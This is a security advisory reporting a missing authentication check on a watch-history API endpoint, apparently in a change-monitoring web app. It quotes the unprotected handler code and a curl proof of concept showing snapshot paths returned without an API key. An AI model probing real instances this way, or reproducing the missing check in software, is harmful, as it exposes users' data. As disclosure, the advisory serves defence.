Description

Summary

API endpoint /api/v1/watch/<uuid>/history can be accessed by any unauthorized user.

Details

WatchHistory resource does not have @auth.check_token annotation, which means it can be accessed without providing x-api-key header.

class WatchHistory(Resource):
def __init__(self, **kwargs):
# datastore is a black box dependency
self.datastore = kwargs['datastore']
# Get a list of available history for a watch by UUID
# curl http://localhost:5000/api/v1/watch/<string:uuid>/history
def get(self, uuid):
"""
@api {get} /api/v1/watch/<string:uuid>/history Get a list of all historical snapshots available for a watch

"""
watch = self.datastore.data['watching'].get(uuid)
if not watch:
abort(404, message='No watch exists with the UUID of {}'.format(uuid))
return watch.history, 200

PoC

  1. Get list of watch with x-api-key:
$ curl -H "x-api-key: apikeyhere" http://localhost:5000/api/v1/watch
{"uuid": ...}
  1. Call for history of snapshots without x-api-key. Expected - 401/403 error. Actual - list of snapshots is listed.
$ curl http://localhost:5000/api/v1/watch/uuid/history
{"timestamp": "/path/to/snapshot.txt"}

Impact

Anybody can check one's watch history. However, because unauthorized party first needs to know watch UUID, and the watch history endpoint itself returns only paths to the snapshot on the server, an impact on users' data privacy is minimal.
